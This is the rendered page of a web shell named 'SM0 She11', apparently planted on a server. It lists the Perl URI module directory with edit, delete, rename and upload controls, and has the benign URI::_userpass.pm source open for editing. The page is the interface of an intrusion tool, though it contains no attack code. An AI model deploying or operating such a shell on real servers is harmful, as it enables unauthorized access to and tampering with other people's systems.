SM0 She11

Path: / / usr / share / perl5 / URI

Full Path (server): /usr/share/perl5/URI

Create Fil3

Upl04d Fil3

• 📄 Escape.pm [E] [D]
  [R]
• 📄 Heuristic.pm [E] [D]
  [R]
• 📄 IRI.pm [E] [D]
  [R]
• 📄 QueryParam.pm [E] [D]
  [R]
• 📄 Split.pm [E] [D]
  [R]
• 📄 URL.pm [E] [D]
  [R]
• 📄 WithBase.pm [E] [D]
  [R]
• 📄 _foreign.pm [E] [D]
  [R]
• 📄 _generic.pm [E] [D]
  [R]
• 📄 _idna.pm [E] [D]
  [R]
• 📄 _ldap.pm [E] [D]
  [R]
• 📄 _login.pm [E] [D]
  [R]
• 📄 _punycode.pm [E] [D]
  [R]
• 📄 _query.pm [E] [D]
  [R]
• 📄 _segment.pm [E] [D]
  [R]
• 📄 _server.pm [E] [D]
  [R]
• 📄 _userpass.pm [E] [D]
  [R]
• 📄 data.pm [E] [D]
  [R]
• 📁 file Open [D]
  [R]
• 📄 file.pm [E] [D]
  [R]
• 📄 ftp.pm [E] [D]
  [R]
• 📄 gopher.pm [E] [D]
  [R]
• 📄 http.pm [E] [D]
  [R]
• 📄 https.pm [E] [D]
  [R]
• 📄 ldap.pm [E] [D]
  [R]
• 📄 ldapi.pm [E] [D]
  [R]
• 📄 ldaps.pm [E] [D]
  [R]
• 📄 mailto.pm [E] [D]
  [R]
• 📄 mms.pm [E] [D]
  [R]
• 📄 news.pm [E] [D]
  [R]
• 📄 nntp.pm [E] [D]
  [R]
• 📄 pop.pm [E] [D]
  [R]
• 📄 rlogin.pm [E] [D]
  [R]
• 📄 rsync.pm [E] [D]
  [R]
• 📄 rtsp.pm [E] [D]
  [R]
• 📄 rtspu.pm [E] [D]
  [R]
• 📄 sip.pm [E] [D]
  [R]
• 📄 sips.pm [E] [D]
  [R]
• 📄 snews.pm [E] [D]
  [R]
• 📄 ssh.pm [E] [D]
  [R]
• 📄 telnet.pm [E] [D]
  [R]
• 📄 tn3270.pm [E] [D]
  [R]
• 📁 urn Open [D]
  [R]
• 📄 urn.pm [E] [D]
  [R]

Editing: _userpass.pm

package URI::_userpass; use strict; use URI::Escape qw(uri_unescape); sub user { my $self = shift; my $info = $self->userinfo; if (@_) { my $new = shift; my $pass = defined($info) ? $info : ""; $pass =~ s/^[^:]*//; if (!defined($new) && !length($pass)) { $self->userinfo(undef); } else { $new = "" unless defined($new); $new =~ s/%/%25/g; $new =~ s/:/%3A/g; $self->userinfo("$new$pass"); } } return unless defined $info; $info =~ s/:.*//; uri_unescape($info); } sub password { my $self = shift; my $info = $self->userinfo; if (@_) { my $new = shift; my $user = defined($info) ? $info : ""; $user =~ s/:.*//; if (!defined($new) && !length($user)) { $self->userinfo(undef); } else { $new = "" unless defined($new); $new =~ s/%/%25/g; $self->userinfo("$user:$new"); } } return unless defined $info; return unless $info =~ s/^[^:]*://; uri_unescape($info); } 1;
Save